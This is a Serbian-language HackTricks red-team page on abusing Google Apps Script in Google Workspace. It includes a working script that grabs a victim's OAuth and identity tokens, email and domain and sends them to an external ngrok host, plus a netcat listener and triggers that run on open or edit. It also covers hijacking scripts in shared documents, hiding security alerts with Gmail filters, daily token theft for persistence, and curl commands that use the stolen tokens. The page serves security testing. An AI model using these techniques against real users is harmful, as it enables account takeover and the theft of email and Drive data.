GWS - App Scripts

Naučite hakovanje AWS od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Skripte aplikacija

Skripte aplikacija su kod koji će biti pokrenut kada korisnik sa dozvolom urednika pristupi dokumentu sa kojim je povezana App Script i nakon prihvatanja OAuth prozora. Takođe se mogu postaviti da se izvršavaju svaki određeni vremenski period od strane vlasnika App Script-a (Upornost).

Kreiranje App Script-a

Postoji nekoliko načina za kreiranje App Script-a, iako su najčešći iz Google dokumenta (bilo kog tipa) i kao samostalan projekat:

Kreirajte projekat vezan za kontejner iz Google Docs, Sheets ili Slides
  1. Otvorite dokument Docs, tabelu Sheets ili prezentaciju Slides.

  2. Kliknite na Extensions > Google Apps Script.

  3. U uređivaču skripti, kliknite na Untitled project.

  4. Dajte svom projektu ime i kliknite na Rename.

Kreirajte samostalan projekat

Za kreiranje samostalnog projekta iz Apps Script-a:

  1. Kliknite na New Project.

  2. U uređivaču skripti, kliknite na Untitled project.

  3. Dajte svom projektu ime i kliknite na Rename.

Kreirajte samostalan projekat iz Google Drive-a
  1. Otvorite Google Drive.

  2. Kliknite na New > More > Google Apps Script.

Kreirajte projekat vezan za kontejner iz Google Forms-a
  1. Otvorite formular u Google Forms-u.

  2. Kliknite na More more_vert > Script editor.

  3. U uređivaču skripti, kliknite na Untitled project.

  4. Dajte svom projektu ime i kliknite na Rename.

Kreirajte samostalan projekat koristeći alat za komandnu liniju clasp

clasp je alat za komandnu liniju koji vam omogućava da kreirate, povučete/pušujete i implementirate projekte Apps Script-a sa terminala.

Pogledajte Vodič za korisnički interfejs komandne linije korišćenjem clasp za više detalja.

Scenario sa App Script-om

Kreiranje Google tabele sa App Script-om

Započnite kreiranjem App Script-a, moja preporuka za ovaj scenario je da kreirate Google tabelu i idite na Extensions > App Scripts, što će otvoriti novi App Script povezan sa tabelom.

Otkrivanje tokena

Da biste omogućili pristup OAuth tokenu, treba da kliknete na Services + i dodate opsege kao što su:

  • AdminDirectory: Pristup korisnicima i grupama direktorijuma (ako korisnik ima dovoljno dozvola)

  • Gmail: Za pristup podacima Gmail-a

  • Drive: Za pristup podacima Drive-a

  • Google Sheets API: Da bi radilo sa okidačem

Da biste sami promenili potrebne opsege možete otići u postavke projekta i omogućiti: Prikaži "appsscript.json" manifest fajl u uređivaču.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

Za snimanje zahteva možete jednostavno pokrenuti:

ngrok tcp 4444
nc -lv 4444 #macOS

Dozvole koje su zatražene za izvršenje App skripte:

Kako se vrši spoljni zahtev, OAuth prozor će takođe zatražiti dozvolu za pristup spoljnim krajnjim tačkama.

Kreiranje Okidača

Kada se App pročita, kliknite na ⏰ Okidači da biste kreirali okidač. Kao funkciju izaberite getToken, pokreće se pri implementaciji Head, u izvoru događaja izaberite Iz tabele i tip događaja izaberite Pri otvaranju ili Pri izmeni (u skladu sa vašim potrebama) i sačuvajte.

Imajte na umu da možete proveriti izvršavanje App skripti u kartici Izvršavanja ako želite da debagujete nešto.

Deljenje

Da bi se okidač pokrenuo, žrtva mora da se poveže sa pristupom uređivača.

Token koji se koristi za izvršavanje App skripte biće onaj kreatora okidača, čak i ako je datoteka otvorena kao uređivač od strane drugih korisnika.

Zloupotreba Deljenih Dokumenata

Ako vam je neko podelio dokument sa App skriptama i okidačem koji koristi Head App skripte (a ne fiksnu implementaciju), možete izmeniti kod App skripte (dodavanjem, na primer, funkcija za krađu tokena), pristupiti mu, i App skripta će biti izvršena sa dozvolama korisnika koji je podelio dokument sa vama! (imajte na umu da će OAuth token vlasnika imati pristupne opsege koje su dodeljene prilikom kreiranja okidača).

Obaveštenje će biti poslato kreatoru skripte koji ukazuje da je neko izmenio skriptu (Šta kažete na korišćenje gmail dozvola za generisanje filtera kako biste sprečili upozorenje?)

Ako napadač izmeni opsege App skripte, ažuriranja neće biti primenjena na dokumentu dok se ne kreira novi okidač sa promenama. Stoga, napadač neće moći da ukrade token kreatora sa više opsega od onih koje je postavio u okidaču koji je kreirao.

Kopiranje umesto deljenja

Kada kreirate link za deljenje dokumenta, kreira se link sličan ovom: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit Ako promenite završetak "/edit" u "/copy", umesto pristupa, Google će vas pitati da li želite da generišete kopiju dokumenta:

Ako korisnik napravi kopiju i pristupi, sadržaj dokumenta i App skripte će biti kopirani, međutim okidači neće, stoga ništa neće biti izvršeno.

Deljenje kao Veb Aplikacija

Imajte na umu da je takođe moguće deliti App skriptu kao Veb aplikaciju (u uređivaču App skripte, implementirajte kao Veb aplikaciju), ali će se pojaviti upozorenje poput ovog:

Zatim će se pojaviti tipičan OAuth prozor koji traži potrebne dozvole.

Testiranje

Možete testirati prikupljeni token da biste naveli e-pošte sa:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Lista kalendara korisnika:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

Skripta aplikacije kao upornost

Jedna opcija za upornost bila bi kreiranje dokumenta i dodavanje okidača za funkciju getToken i deljenje dokumenta sa napadačem tako da svaki put kada napadač otvori datoteku, izvlači token žrtve.

Takođe je moguće kreirati skriptu aplikacije i postaviti je da se okida svaki X vremena (kao svaki minut, sat, dan...). Napadač koji je kompromitovao akreditive ili sesiju žrtve mogao bi postaviti okidač vremena za skriptu aplikacije i otkriti veoma privilegovani OAuth token svaki dan:

Jednostavno kreirajte skriptu aplikacije, idite na Okidače, kliknite na Dodaj okidač, i izaberite kao izvor događaja Vremenski vođen i izaberite opcije koje vam najviše odgovaraju:

Ovo će kreirati bezbednosno upozorenje putem e-pošte i push poruku na vašem mobilnom uređaju obaveštavajući o tome.

Bypass neproverene poruke o deljenom dokumentu

Osim toga, ako vam je neko podelio dokument sa pristupom za uređivanje, možete generisati skripte aplikacije unutar dokumenta i VLASNIK (kreator) dokumenta će biti vlasnik skripte aplikacije.

To znači da će kreator dokumenta biti prikazan kao kreator bilo koje skripte aplikacije koju bilo ko sa pristupom za uređivanje kreira unutar njega.

To takođe znači da će skripta aplikacije biti poverena radnom okruženju Workspace-a kreatora dokumenta.

To takođe znači da ako je skripta aplikacije već postojala i ljudi su dali pristup, bilo ko sa dozvolom za uređivanje na dokumentu može je izmeniti i zloupotrebiti taj pristup. Da biste zloupotrebili ovo, takođe vam trebaju ljudi koji će pokrenuti skriptu aplikacije. Još jedan trik je da objavite skriptu kao veb aplikaciju. Kada ljudi koji su već dali pristup skripti aplikacije pristupe veb stranici, oni će pokrenuti skriptu aplikacije (ovo takođe funkcioniše korišćenjem <img> oznaka).

Last updated